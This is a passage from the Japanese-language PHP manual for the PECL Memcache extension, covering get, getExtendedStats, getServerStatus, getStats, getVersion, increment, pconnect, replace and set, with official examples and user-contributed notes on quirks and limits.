$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get('some_key');

/*
キーの配列をパラメータとして使用することもできます。
もしキーに対応する項目がサーバー上で見つからなければ、
結果の配列の中にはそのキーは含まれません。
*/

/* 手続き型の API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, Array('some_key', 'another_key'));

/* オブジェクト指向の API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get(Array('some_key', 'second_key'));

?>

User Contributed Notes

csongor at halmai dot hu 07-Oct-2014 04:27
Avoid reading too many values from memcahce. Each get() consumes some memory. You should cache the values instead, once they are read. Illustration of bad practice:

<?php   // reading from memcache leaks

    $m = new Memcache();
    $m -> connect( "localhost", "11211" );
    $m -> add("foo", "bar");

    for(;;) {  // this "endless" loop will finish because it eats up all the memory
        $res = $m -> get("foo");
        print memory_get_usage()."\n";  // this writes bigger and bigger numbers
    }
a dot karabiowski at gmx dot net 27-Jan-2014 09:19
Signature is not correct.

<?php
$memcache = new Memcache();
$memcache->connect('localhost', 11211);
class Test { public $property = "testvalue"; }
$test = new Test();
$memcache->set("asdf", $test);
var_dump($memcache->get("asdf"));
/* will return the object, not the string:
    class Test#3 (1) {
      public $property =>
      string(9) "testvalue"
    }
*/
?>
bijay dot rungta at gmail dot com 21-May-2013 06:31
Note that if you include spaces in your keys when saving Data and use array of keys to get the Data, The returned array will replace spaces with underscores in the keys.

<?php

$memcache = new Memcache;
$memcache->connect('localhost');
$memcache->set('my-key', 'value1', 0, 300);
$memcache->set('key with space', 'value 2', 0, 300);

print_r($memcache->get(array('my-key', 'key with space'))); // Array ( [my-key] => value1 [key_with_space] => value 2 )

?>

Memcache replaces spaces with underscores when saving, it does so when doing a get too, but when you do a get with single key (string) you don't notice this as it merely returns the value. But when you do a get for array of keys, you would expect the same keys in the returned array but it replaces spaces by underscores in them.
clover at fromru dot com 27-Apr-2013 12:14
$flags stays untouched if $key was not found on the server, it's helpfull to determine if bool(false) was stored:

<?php

$memcache = new Memcache();

$memcache->set('test', false); //
$flags = false;
var_dump($memcache->get('test', $flags)); // bool(false)
var_dump($flags); // int(256) - changed to int

$memcache->delete('test');

$flags = false;
var_dump($memcache->get('test', $flags)); // bool(false)
var_dump($flags); // bool(false) - untouched

?>
Michael Brenden 17-Feb-2011 02:46
Beware, if there's a backslash present in the key name then the results are unpredictable and random.

I was generating keys like this:

$mc_key = get_called_class(). $_COOKIE['crumb'];

This works fine when get_called_class() returns CLASSNAME.

But then I began using namespaces, and get_class_class() of course returned NAMESPACE\CLASSNAME

Well that backslash sends Memcache into quite the tizzy.
No errors, mind you, just insanity.
janis at unrepublic dot com 22-Mar-2010 02:00
For me it was the case that if such key doesn't exist, null is returned not false.
nate 14-Oct-2008 08:18
Be aware that when using the multi-key version, Memcache::get returns bool false if no servers are configured for the pool (and possibly if other errors occur as well while attempting to fetch). Also, Memcache class throws annoying warnings on every get/set/delete-type calls if you have no servers added to the pool.

The following snippet var_dump's bool false, not an empty array like you might expect.

<?php
$cache = new Memcache;

// no $cache->addServer calls (for example,
due to temporarily disabling use of cache)

// use @ symbol to ignore warning

var_dump(
    @$cache->get(array('one', 'two'))
);
?>
jakub dot lopuszanski at nasza-klasa dot pl 07-Jul-2008 07:39
If deserialization fails for some reason, that is when memcache server returned flag 1 set, but the value was not a correctly serialized PHP data,
then Memcache::get acts in a following way:

If it was called with a single key to retrieve, then a warning is raised, but since it was not actually a bug of a server, the warning says something confusing like "Memcached Server Error: null" and the function returns bool(false).

If it was called by passing an array (even with a single element in it), then the warning is not raised and the resulting array contains a value bool(false).

Since there are some buffer overrun bugs present in Memcached Server, which from time to time cause overwriting of [part of] data and therefore rendering it impossible to deserialize, make sure to check if the result of Memcache::get contains only string, or deserialized structure. If the result is bool,dobule or long, then something went wrong.


プール内のすべてのサーバーの統計情報を取得する

  • ≪ Memcache::get
  • Memcache::getServerStatus ≫
  • PHP Manual
  • Memcache
  • プール内のすべてのサーバーの統計情報を取得する

Memcache::getExtendedStats

(PECL memcache >= 2.0.0)

Memcache::getExtendedStats — プール内のすべてのサーバーの統計情報を取得する

説明

Memcache::getExtendedStats ( string $type = ? , int $slabid = ? , int $limit = 100 ) : array

Memcache::getExtendedStats() は、サーバーの 統計情報を含む二次元の配列を返します。配列のキーが各サーバーの host:port に対応し、その値として個々のサーバーの統計情報を保持します。 取得に失敗したサーバーは、値に false が設定されます。 memcache_get_extended_stats() 関数を使用することも可能です。

注意:

この関数は、Memcache バージョン 2.0.0 で追加されました。

パラメータ

type

取得する統計情報の型。使用可能な値は {reset, malloc, maps, cachedump, slabs, items, sizes} のいずれかです。 memcached プロトコルの仕様によると、これらの追加の引数は 「memcache の開発者の都合により、変更される可能性があります」 ということです。

slabid

type を cachedump と設定した場合に使用し、ダンプを取得する slab を指定します。 cachedump コマンドはサーバーと結びついており、デバッグ目的でのみ使用します。

limit

type を cachedump と設定した場合に使用し、ダンプするエントリの数を制限します。

警告

統計情報の型 cachedump は、セキュリティ上の理由により memcached デーモンから削除されました。

返り値

サーバーの統計情報を含む二次元の配列を返します。失敗した場合は false を返します。

例

例1 Memcache::getExtendedStats() の例

<?php
    $memcache_obj = new Memcache;
    $memcache_obj->addServer('memcache_host', 11211);
    $memcache_obj->addServer('failed_host', 11211);

    $stats = $memcache_obj->getExtendedStats();
    print_r($stats);
?>

上の例の出力は以下となります。

Array
(
    [memcache_host:11211] => Array
        (
            [pid] => 3756
            [uptime] => 603011
            [time] => 1133810435
            [version] => 1.1.12
            [rusage_user] => 0.451931
            [rusage_system] => 0.634903
            [curr_items] => 2483
            [total_items] => 3079
            [bytes] => 2718136
            [curr_connections] => 2
            [total_connections] => 807
            [connection_structures] => 13
            [cmd_get] => 9748
            [cmd_set] => 3096
            [get_hits] => 5976
            [get_misses] => 3772
            [bytes_read] => 3448968
            [bytes_written] => 2318883
            [limit_maxbytes] => 33554432
        )

    [failed_host:11211] => false
)

参考

  • Memcache::getVersion() - サーバーのバージョンを返す
  • Memcache::getStats() - サーバーの統計情報を取得する

User Contributed Notes

Anonymous 20-Jul-2018 12:16
the latest updated version:

function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           if (!is_int($slabId)) { continue; }
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                if (!is_array($arrVal)) continue;
                foreach($arrVal AS $k => $v) {
                    $list[] =  $k;
                }
           }
        }
    }
    return $list;
}
jcastromail at yahoo dot es 22-Feb-2017 08:39
" The cachedump stat type has been removed from the memcached daemon due to security reasons. "

To the date, the version 1.4.5_4_gaa7839e (windows 64bits) still supports the command cachedump that its highly important to returns the keys stored.
eithed at gmail 28-Jul-2016 03:14
In response to manmca dot 2280 at gmail dot com

This function makes the memcached read only, at least with the most recent version of PECL memcache (3.0.8) and most recent version of memcache (1.4.21), so if you're relying on this to overwrite / remove only certain keys you're in for a nasty suprise
oushunbao at 163 dot com 16-Jun-2011 02:57
Get lists of all the keys stored in memcache server....

<?php
/**
 * Function to get all memcache keys
 * @author Manish Patel
 * @Created:  28-May-2010
 * @modified: 16-Jun-2011
 */
function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    $items = $memcache->getExtendedStats('items');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                if (!is_array($arrVal)) continue;
                foreach($arrVal AS $k => $v) {
                    echo $k .'<br>';
                }
           }
        }
    }
}//EO getMemcacheKeys()
?>

copy from up, but fix a warning
i only add one line:  if (!is_array($arrVal)) continue;
manmca dot 2280 at gmail dot com 28-May-2010 04:35
Get lists of all the keys stored in memcache server....

<?php
/**
 * Function to get all memcache keys
 * @author Manish Patel
 * @Created:  28-May-2010
 */
function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    $items = $memcache->getExtendedStats('items');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                foreach($arrVal AS $k => $v) {
                    echo $k .'<br>';
                }
           }
        }
    }
}//EO getMemcacheKeys()
?>

Hope it helps....


サーバーの状態を返す

  • ≪ Memcache::getExtendedStats
  • Memcache::getStats ≫
  • PHP Manual
  • Memcache
  • サーバーの状態を返す

Memcache::getServerStatus

(PECL memcache >= 2.1.0)

Memcache::getServerStatus — サーバーの状態を返す

説明

Memcache::getServerStatus ( string $host , int $port = 11211 ) : int

Memcache::getServerStatus() は、サーバーがオンライン/オフラインのどちらであるかを返します。 memcache_get_server_status() 関数を使用することも可能です。

注意:

この関数は、Memcache バージョン 2.1.0 で追加されました。

パラメータ

host

memcached が接続を待ち受けるホストを指定します。

port

memcached が接続を待ち受けるポートを指定します。

返り値

サーバーの状態を返します。サーバーに接続できなかった場合に 0、 それ以外の場合にはゼロ以外の値を返します。

例

例1 Memcache::getServerStatus() の例

<?php

/* オブジェクト指向の API */
$memcache = new Memcache;
$memcache->addServer('memcache_host', 11211);
echo $memcache->getServerStatus('memcache_host', 11211);

/* 手続き型の API */
$memcache = memcache_connect('memcache_host', 11211);
echo memcache_get_server_status($memcache, 'memcache_host', 11211);

?>

参考

  • Memcache::addServer() - コネクションプールに memcached サーバーを追加する
  • Memcache::setServerParams() - サーバーのパラメータおよび状態を、実行時に変更する

User Contributed Notes

tom at all dash community dot de 06-Dec-2011 08:01
Note: the result of the function is cached. The cached is not automatically refreshed.

Call MemCache::getExtendedStats() to force a cache-update.
geoffrey dot hoffman at gmail dot com 21-Jul-2010 12:10
Beware... this method does not actually attempt to connect to the server and port you specify! It is not a health check to tell whether memcached is actually running or not!

It merely returns the server status from the pool, which defaults to TRUE when using addServer( ) with only required arguments.

Try it - stop your memcached and run the sample code above - it will output 1.


サーバーの統計情報を取得する

  • ≪ Memcache::getServerStatus
  • Memcache::getVersion ≫
  • PHP Manual
  • Memcache
  • サーバーの統計情報を取得する

Memcache::getStats

(PECL memcache >= 0.2.0)

Memcache::getStats — サーバーの統計情報を取得する

説明

Memcache::getStats ( string $type = ? , int $slabid = ? , int $limit = 100 ) : array|false

Memcache::getStats() は、サーバーの統計情報を含む 連想配列を返します。配列のキーが統計情報パラメータの名前、そして 配列の値がパラメータの値に対応します。 memcache_get_stats() 関数を使用することも可能です。

パラメータ

type

取得する統計情報の型。使用可能な値は {reset, malloc, maps, cachedump, slabs, items, sizes} のいずれかです。 memcached プロトコルの仕様によると、これらの追加の引数は 「memcache の開発者の都合により、変更される可能性があります」 ということです。

slabid

type を cachedump と設定した場合に使用し、ダンプを取得する slab を指定します。 cachedump コマンドはサーバーと結びついており、デバッグ目的でのみ使用します。

limit

type を cachedump と設定した場合に使用し、ダンプするエントリの数を制限します。

返り値

サーバーの統計情報を含む連想配列を返します。 失敗した場合に false を返します。

参考

  • Memcache::getVersion() - サーバーのバージョンを返す
  • Memcache::getExtendedStats() - プール内のすべてのサーバーの統計情報を取得する

User Contributed Notes

Amiangshu S. Bosu 16-Mar-2009 03:58
Here is a memcache stats analyzer method that can be used to print memcache stats in a nice informative tabular format.

<?php

function printDetails($status){

echo "<table border='1'>";

        echo "<tr><td>Memcache Server version:</td><td> ".$status ["version"]."</td></tr>";
        echo "<tr><td>Process id of this server process </td><td>".$status ["pid"]."</td></tr>";
        echo "<tr><td>Number of seconds this server has been running </td><td>".$status ["uptime"]."</td></tr>";
        echo "<tr><td>Accumulated user time for this process </td><td>".$status ["rusage_user"]." seconds</td></tr>";
        echo "<tr><td>Accumulated system time for this process </td><td>".$status ["rusage_system"]." seconds</td></tr>";
        echo "<tr><td>Total number of items stored by this server ever since it started </td><td>".$status ["total_items"]."</td></tr>";
        echo "<tr><td>Number of open connections </td><td>".$status ["curr_connections"]."</td></tr>";
        echo "<tr><td>Total number of connections opened since the server started running </td><td>".$status ["total_connections"]."</td></tr>";
        echo "<tr><td>Number of connection structures allocated by the server </td><td>".$status ["connection_structures"]."</td></tr>";
        echo "<tr><td>Cumulative number of retrieval requests </td><td>".$status ["cmd_get"]."</td></tr>";
        echo "<tr><td> Cumulative number of storage requests </td><td>".$status ["cmd_set"]."</td></tr>";

        $percCacheHit=((real)$status ["get_hits"]/ (real)$status ["cmd_get"] *100);
        $percCacheHit=round($percCacheHit,3);
        $percCacheMiss=100-$percCacheHit;

        echo "<tr><td>Number of keys that have been requested and found present </td><td>".$status ["get_hits"]." ($percCacheHit%)</td></tr>";
        echo "<tr><td>Number of items that have been requested and not found </td><td>".$status ["get_misses"]."($percCacheMiss%)</td></tr>";

        $MBRead= (real)$status["bytes_read"]/(1024*1024);

        echo "<tr><td>Total number of bytes read by this server from network </td><td>".$MBRead." Mega Bytes</td></tr>";
        $MBWrite=(real) $status["bytes_written"]/(1024*1024) ;
        echo "<tr><td>Total number of bytes sent by this server to network </td><td>".$MBWrite." Mega Bytes</td></tr>";
        $MBSize=(real) $status["limit_maxbytes"]/(1024*1024) ;
        echo "<tr><td>Number of bytes this server is allowed to use for storage.</td><td>".$MBSize." Mega Bytes</td></tr>";
        echo "<tr><td>Number of valid items removed from cache to free memory for new items.</td><td>".$status ["evictions"]."</td></tr>";

echo "</table>";

    }

?>

Sample usage:
<?php

  $memcache_obj = new Memcache;
  $memcache_obj->addServer('memcache_host', 11211);
   printDetails($memcache_obj->getStats());
?>
24-Oct-2006 07:09
The stats output from this function and what is output from the getExtendedStats() are identical except that getExtendedStats() provides information for all servers used.
mikael at synd dot info 18-Sep-2006 12:22
pid                        Process id of this server process
uptime                    Number of seconds this server has been running
time                    Current UNIX time according to the server
version                    Version string of this server
rusage_user                Accumulated user time for this process
rusage_system            Accumulated system time for this process
curr_items                Current number of items stored by the server
total_items                Total number of items stored by this server ever since it started
bytes                    Current number of bytes used by this server to store items
curr_connections        Number of open connections
total_connections        Total number of connections opened since the server started running
connection_structures    Number of connection structures allocated by the server
cmd_get                    Cumulative number of retrieval requests
cmd_set                    Cumulative number of storage requests
get_hits                Number of keys that have been requested and found present
get_misses                Number of items that have been requested and not found
bytes_read                Total number of bytes read by this server from network
bytes_written            Total number of bytes sent by this server to network
limit_maxbytes            Number of bytes this server is allowed to use for storage.


サーバーのバージョンを返す

  • ≪ Memcache::getStats
  • Memcache::increment ≫
  • PHP Manual
  • Memcache
  • サーバーのバージョンを返す

Memcache::getVersion

(PECL memcache >= 0.2.0)

Memcache::getVersion — サーバーのバージョンを返す

説明

Memcache::getVersion ( ) : string|false

Memcache::getVersion() は、サーバーのバージョン番号を 文字列で返します。 memcache_get_version() 関数を使用することも可能です。

返り値

バージョン番号を表す文字列を返します。 失敗した場合に false を返します。

例

例1 Memcache::getVersion() の例

<?php

/* オブジェクト指向の API */
$memcache = new Memcache;
$memcache->connect('memcache_host', 11211);
echo $memcache->getVersion();

/* 手続き型の API */
$memcache = memcache_connect('memcache_host', 11211);
echo memcache_get_version($memcache);

?>

参考

  • Memcache::getExtendedStats() - プール内のすべてのサーバーの統計情報を取得する
  • Memcache::getStats() - サーバーの統計情報を取得する

User Contributed Notes

b dot willemsen8 at gmail dot com 26-Aug-2014 01:16
I also use this method to verify that Memcache is properly configured on the server since it returns false if there is something wrong. So you can do something like this:

<?php
$memcache = new Memcache;

if ($memcache->getVersion() === false) {
    throw new Exception('Please, verify the Memcache configuration');
}


項目の値を増やす

  • ≪ Memcache::getVersion
  • Memcache::pconnect ≫
  • PHP Manual
  • Memcache
  • 項目の値を増やす

Memcache::increment

(PECL memcache >= 0.2.0)

Memcache::increment — 項目の値を増やす

説明

Memcache::increment ( string $key , int $value = 1 ) : int|false

Memcache::increment() は、項目の値を value だけ増やします。 もし key に対応する値が数値ではなく、かつ 数値に変換できなかった場合は、その新しい値は value となります。 Memcache::increment() は、指定した項目が 存在しない場合に項目を作成することは ありません。

注意:

圧縮して格納されている項目に対して Memcache::increment() を使用しないでください。 なぜなら、それ以降の Memcache::get() のコールが 失敗してしまうからです。

memcache_increment() 関数を使用することも可能です。

パラメータ

key

値を増やす項目のキー。

value

項目の値を value だけ増やします。

返り値

項目の新しい値か、失敗した場合に false を返します。

例

例1 Memcache::increment() の例

<?php

/* 手続き型の API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* カウンタを 2 増やします */
$current_value = memcache_increment($memcache_obj, 'counter', 2);

/* オブジェクト指向の API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/* カウンタを 3 増やします */
$current_value = $memcache_obj->increment('counter', 3);

?>

参考

  • Memcache::decrement() - 項目の値を減らす
  • Memcache::replace() - 既存項目の値を置換する

User Contributed Notes

perroazul64 at gmail dot com 07-Jun-2011 10:46
When the key doesn't exist it may return either bool(false) or int(0) (I get different return values on different servers), so be careful if you check for something like ($memcache->increment($key) === false).
ian at blip dot fm 30-Jun-2009 04:28
Be careful to use Memcache::decrement() and never Memcache::increment() with a negative value.

The check that prevents Memcache::decrement() from going negative is not in place with Memcache::increment(), so you can end up with a garbage integer on the order of 18 quintillion stored in place of the expected value.
jay dot paroline at escapemg dot com 13-May-2009 06:34
Instead of checking the value before incrementing, you can simply ADD it instead before incrementing each time. If it's already there, your ADD is ignored, and if it's not there, it's set.

If you add($memcacheKey, 0) and then increment($memcacheKey, 1) in that order, you avoid all possible race conditions. If two threads are running this code concurrently, you will always end up with your value being 2 no matter which order the threads execute in.
Anonymous 13-May-2009 06:16
Please note:
If the key does not exist, memcache does NOT return false (as you might expect) but 0.
You won't get any hint that the key did not exist and still does not exist and that nothing was incremented.
15-Jun-2005 12:54
if no variable exists, even if you specify an increment value, the result will be null.

if you're using this for a mutex, chk if its null, and if so, then ADD the variable.


memcached サーバーへの持続的な接続をオープンする

  • ≪ Memcache::increment
  • Memcache::replace ≫
  • PHP Manual
  • Memcache
  • memcached サーバーへの持続的な接続をオープンする

Memcache::pconnect

(PECL memcache >= 0.4.0)

Memcache::pconnect — memcached サーバーへの持続的な接続をオープンする

説明

Memcache::pconnect ( string $host , int $port = ? , int $timeout = ? ) : mixed

Memcache::pconnect() は Memcache::connect() とほぼ同じですが、 確立する接続が持続的なものであるという点が違います。 この接続は、スクリプトの実行が終了したり Memcache::close() 関数を使ったりしても閉じません。 memcache_pconnect() 関数を使用することも可能です。

パラメータ

host

memcached が接続を待ち受けるホストを指定します。 このパラメータには別のトランスポート層を指定することもできます。たとえば unix:///path/to/memcached.sock のようにすると Unix ドメインソケットを使用できます。この場合、 port は 0 を指定しなければなりません。

port

memcached が接続を待ち受けるポートを指定します。 Unix ドメインソケットを使用する場合は、このパラメータを 0 とします。

timeout

デーモンへの接続の際に使用する値 (秒単位) です。 デフォルト値を 1 秒でも変更する前には十分注意してください。 接続が遅くなってしまうと、 キャッシュ処理のメリットが なくなってしまいます。

返り値

Memcache オブジェクトを返します。 失敗した場合に false を返します。

例

例1 Memcache::pconnect() の例

<?php

/* 手続き型の API */
$memcache_obj = memcache_pconnect('memcache_host', 11211);

/* オブジェクト指向の API */

$memcache_obj = new Memcache;
$memcache_obj->pconnect('memcache_host', 11211);

?>

参考

  • Memcache::connect() - memcached サーバーへの接続をオープンする

User Contributed Notes

john.royer [at] gmail.com 15-Oct-2018 03:47
pconnect() put error message to stderr if connection failed. This behavior may cause unexpected output.
use '@' infrom of `pconnect()` to avoid it.

<?php

$cache = new Memcache();
$stat = @$cache->pconnect('localhost', 11211);

if (false === $stat) {
    // connect failed
}
// connect success
office at cws-trummer dot biz 20-Mar-2009 02:17
use persistent connection if you have problems with system process 0 WAIT_TIME


既存項目の値を置換する

  • ≪ Memcache::pconnect
  • Memcache::set ≫
  • PHP Manual
  • Memcache
  • 既存項目の値を置換する

Memcache::replace

(PECL memcache >= 0.2.0)

Memcache::replace — 既存項目の値を置換する

説明

Memcache::replace ( string $key , mixed $var , int $flag = ? , int $expire = ? ) : bool

Memcache::replace() は、key
に対応する既存項目の値を置換するために使用します。
指定したキーに対応する項目がない場合は、
Memcache::replace() は false を返します。
それ以外の点では、Memcache::replace()
の振る舞いは Memcache::set() と同じです。
memcache_replace() 関数を使用することも可能です。

パラメータ

key

項目に関連付けられたキー。

var

格納する値。文字列および整数値はそのままの形式で、それ以外の型は シリアライズされて格納されます。

flag

項目を圧縮して格納する場合に MEMCACHE_COMPRESSED を使用します (zlib を使用します)。

expire

項目の有効期限。ゼロの場合は有効期限なし (いつまでも有効) となります。Unix タイムスタンプ形式、あるいは現在からの 秒数で指定することが可能ですが、後者の場合は秒数が 2592000 (30 日) を超えることはできません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcache::replace() の例

<?php

$memcache_obj = memcache_connect('memcache_host', 11211);

/* 手続き型の API */
memcache_replace($memcache_obj, "test_key", "some variable", false, 30);

/* オブジェクト指向の API */
$memcache_obj->replace("test_key", "some variable", false, 30);

?>

参考

  • Memcache::set() - データをサーバーに格納する
  • Memcache::add() - サーバーに項目を追加する

User Contributed Notes

adam.pippin [AT] ohmedia.ca 20-Sep-2010 03:57
This page mentions that replace should be used rather than set, but gives no reason. Best information I could find was a comment by 'argyleblanket' on the set page. (http://www.php.net/manual/en/memcache.set.php#84032)

"Using set more than once for the same key seems to have unexpected results - it does not behave as a "replace," but instead seems to "set" more than one value for the same key.  "get" may return any of the values.

This was tested on a multiple-server setup - behaviour may be different if you only have one server. "


データをサーバーに格納する

  • ≪ Memcache::replace
  • Memcache::setCompressThreshold ≫
  • PHP Manual
  • Memcache
  • データをサーバーに格納する

Memcache::set

(PECL memcache >= 0.2.0)

Memcache::set — データをサーバーに格納する

説明

Memcache::set ( string $key , mixed $var , int $flag = ? , int $expire = ? ) : bool

Memcache::set() は、キー key に var という値を 関連付け、memcached サーバーに格納します。パラメータ expire は、データの有効期限を秒単位で指定します。もし 0 を指定した場合は その項目が期限切れになることはありません (これは、その項目のデータが memcached サーバー上にずっと残り続けることを保証するものではありません。 他の項目をキャッシュするための場所を確保するためにサーバーから 削除されてしまうこともあります)。 (zlib を使用して) その場でのデータの圧縮を行いたい場合は、 flag の値として、定数 MEMCACHE_COMPRESSED を指定します。

注意:

リソース型の変数 (たとえばファイル記述子や接続記述子など) はキャッシュに保存できないことを覚えておきましょう。これは、 シリアライズした状態ではそれらのデータを適切に表すことが できないためです。

memcache_set() 関数を使用することも可能です。

パラメータ

key

項目に関連付けられたキー。

var

格納する値。文字列および整数値はそのままの形式で、それ以外の型は シリアライズされて格納されます。

flag

項目を圧縮して格納する場合に MEMCACHE_COMPRESSED を使用します (zlib を使用します)。

expire

項目の有効期限。ゼロの場合は有効期限なし (いつまでも有効) となります。Unix タイムスタンプ形式、あるいは現在からの 秒数で指定することが可能ですが、後者の場合は秒数が 2592000 (30 日) を超えることはできません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Memcache::set() の例

<?php
/* 手続き型の API */

/* memcached サーバーに接続します */
$memcache_obj = memcache_connect('memcache_host', 11211);

/*
キー 'var_key' の項目の値を設定します。
flag の値として 0 を使用し、圧縮は使用しません。
有効期限は 30 秒です。
*/
memcache_set($memcache_obj, 'var_key', 'some variable', 0, 30);

echo memcache_get($memcache_obj, 'var_key');

?>

例2 Memcache::set() の例

<?php
/* オブジェクト指向の API */

$memcache_obj = new Memcache;

/* memcached サーバーに接続します */
$memcache_obj->connect('memcache_host', 11211);

/*
キー 'var_key' に対応する値を設定します。その際、データの圧縮を行います。
有効期限は 50 秒です。
*/
$memcache_obj->set('var_key', 'some really big variable', MEMCACHE_COMPRESSED, 50);

echo $memcache_obj->get('var_key');

?>

参考

  • Memcache::add() - サーバーに項目を追加する
  • Memcache::replace() - 既存項目の値を置換する

User Contributed Notes

winmutt 01-Jul-2019 09:19
The note here about replace and set is no longer valid in my testing. You can call set as many times as you want on the same key and reliably get the last written value. I tested this with 3 memcache nodes over 10000 keys.
jcastromail at yahoo dot es 27-Aug-2017 12:25
If you get the next message

"The lowest two bytes of the flags array is reserved for pecl/memcache internal use"

Then try the next operations:
a) try to use Memcached instead of Memcache.
b) switch the compressed value
  $memcache->set($key,$value,MEMCACHE_COMPRESSED)
  or
  $memcache->set($key,$value,0)
aamthor at advertzoom dot de 29-Aug-2012 08:27
to put some things right:

max expiration time: RTFM, it's written here.

max amount of data: almost unlimited as long as your server can bear it.

speed and pace:
well, thats another thing. We had a couple of data records which for application reasons must be kept in memory. Since the bunch of data is big and doesn't change very often, we considered caching it to memcache instead of retrieving it from the DB each and every time.

This isn't a general advice nor any quality statement, but we did a couple of tests with serialized arrays (50 MB), compressed and uncompressed and it turned out that in our particular scenario, memcache is much slower than the DB (mySql).

In general, one can not predict on the behavior of memcache in certain scenarios but always need to make some testing and benchmarking upfront before starting to deploy things to a live system.

Despite of the tests above, we are still using memcache for session caching instead of file system, since there are certain other things to consider and the amount of data is always small (few KB)
wbonde at yakabod dot com 21-Jan-2011 12:27
The max time for expiration (without having to worry about deletions when necessary as with 0 seconds) is 2,592,000 seconds (30 days).

Specifying an expiration value above that will return false, but will NOT throw in error so it is easy to miss.
duerra at nospam dot yahoo dot com 17-Nov-2010 04:04
If you're interested in using compression, please note that, at least for PHP version 5.3.2 and Memcache version 3.0.4, when retrieving a key who's value is a numeric or boolean type, PHP throws a notice of the following:

Message: MemcachePool::get(): Failed to uncompress data

The way around this is to test your variable type before setting or adding it to Memcache, or even cast it as a string.

<?php
$key = 'mc_key';
$value = 12345;
$compress = is_bool($value) || is_int($value) || is_float($value) ? false : MEMCACHE_COMPRESSED;

$mc= new Memcache;
$mc->connect('localhost', 11211);
$mc->set($key, $value, $compress);

echo $mc->get($key);

//Alternative is to cast the variable
$value = is_scalar($value) ? (string)$value : $value;
$mc->set($key, $value, MEMCACHE_COMPRESSED);
?>
effeesse gmail com 23-Apr-2010 01:06
if you want to cache an image created on-the-fly you can do:

<?php
ob_start();
imagepng($image);
$memcache->set("my_image", ob_get_contents(), false, $cache_time);
ob_end_clean();
?>

then you could access the chached image as simple variable:
<?php $my_image = $memcache->get("my_image"); ?>

so, in short, you have to buffer the output
argyleblanket 24-Jun-2008 05:12
Using set more than once for the same key seems to have unexpected results - it does not behave as a "replace," but instead seems to "set" more than one value for the same key.  "get" may return any of the values.

This was tested on a multiple-server setup - behaviour may be different if you only have one server.

Remedy is to use a combination of replace and set:

<?php
$result = $memcache->replace( $key, $var );
if( $result == false )
{
    $result = $memcache->set( $key, $var );
}
?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Apr-2008 07:45
The lowest byte of the int is reserved for pecl/memcache internal usage (e.g. to indicate compression and serialization status).
Stephen from veedow.com 09-Apr-2008 07:07
I ran into problems using the MEMCACHE_COMPRESSED flag when storing small amounts of data, such as an integers.

For expample.

<?php
Memcache::set('integer', 123456, MEMCACHE_COMPRESSED);
//would return true

Memcache::get('integer');
//would return false
?>

This problem went away when I removed the MEMCACHE_COMPRESSED flag for values that were small.
Sc00bz 19-Jul-2007 01:20
This is just two minor things about memcache that might not be perfectly clear, the limits on key and data sizes and what happen to flags in the memcache protocol.

* There is a max key size of 250 anything bigger gets truncated. There is also a (1MB - 42 bytes) limit on the data.

* In the memcache protocol there is a 16bit, 32bit in newer version, flag that you can set to whatever you want because memcache doesn't do anything with the flags. The php api doesn't let you get the flags because php uses the flags for php's own use such as "MEMCACHE_COMPRESSED" and I decided to test if it was doing something because it wasn't part of the memcache protocol.

<?php
$memcache = new Memcache();
$memcache->connect("127.0.0.1", 11211);

// Since memcache truncates the keys at 250 bytes both the get "250 a's" and "251 a's" will find the key in the cache
echo "*** Truncate key test ***<br>";
echo "set 251: " . ($memcache->set(str_repeat("a", 251), "value", 0, 1) ? "t" : "f") . "<br>";

echo "get 249: " . (($ret = $memcache->get(str_repeat("a", 249))) !== false ? "'$ret'" : "f") . "<br>";
echo "get 250: " . (($ret = $memcache->get(str_repeat("a", 250))) !== false ? "'$ret'" : "f") . "<br>";
echo "get 251: " . (($ret = $memcache->get(str_repeat("a", 251))) !== false ? "'$ret'" : "f") . "<br>";
echo "delete: " . ($memcache->delete(str_repeat("a", 250)) ? "t" : "f") . "<br><br>";

echo "*** Compress value test ***<br>";
echo "set 1024*1024-42: " . ($memcache->set("test", str_repeat("a", 1024*1024-42), 0, 1) ? "t" : "f") . "<br>";
echo "set 1024*1024-41: " . ($memcache->set("test", str_repeat("a", 1024*1024-41), 0, 1) ? "t" : "f") . "<br>";
echo "set 1024*1024 compressed: " . ($memcache->set("test", str_repeat("a", 1024*1024), MEMCACHE_COMPRESSED, 1) ? "t" : "f") . "<br>";
echo "delete: " . ($memcache->delete("test") ? "t" : "f") . "<br>";
$memcache->close();
?>

Output:
*** Truncate key test ***
set 251: t
get 249: f
get 250: 'value'
get 251: 'value'
delete: t

*** Compress value test ***
set 1024*1024-42: t
set 1024*1024-41: f
set 1024*1024 compressed: t
delete: t


大きな値に対する自動圧縮処理を有効にする

  • ≪ Memcache::set
  • Memcache::setServerParams ≫
  • PHP Manual
  • Memcache
  • 大きな値に対する自動圧縮処理を有効にする

Memcache::setCompressThreshold

(PECL memcache >= 2.0.0)

Memcache::setCompressThreshold — 大きな値に対する自動圧縮処理を有効にする

説明

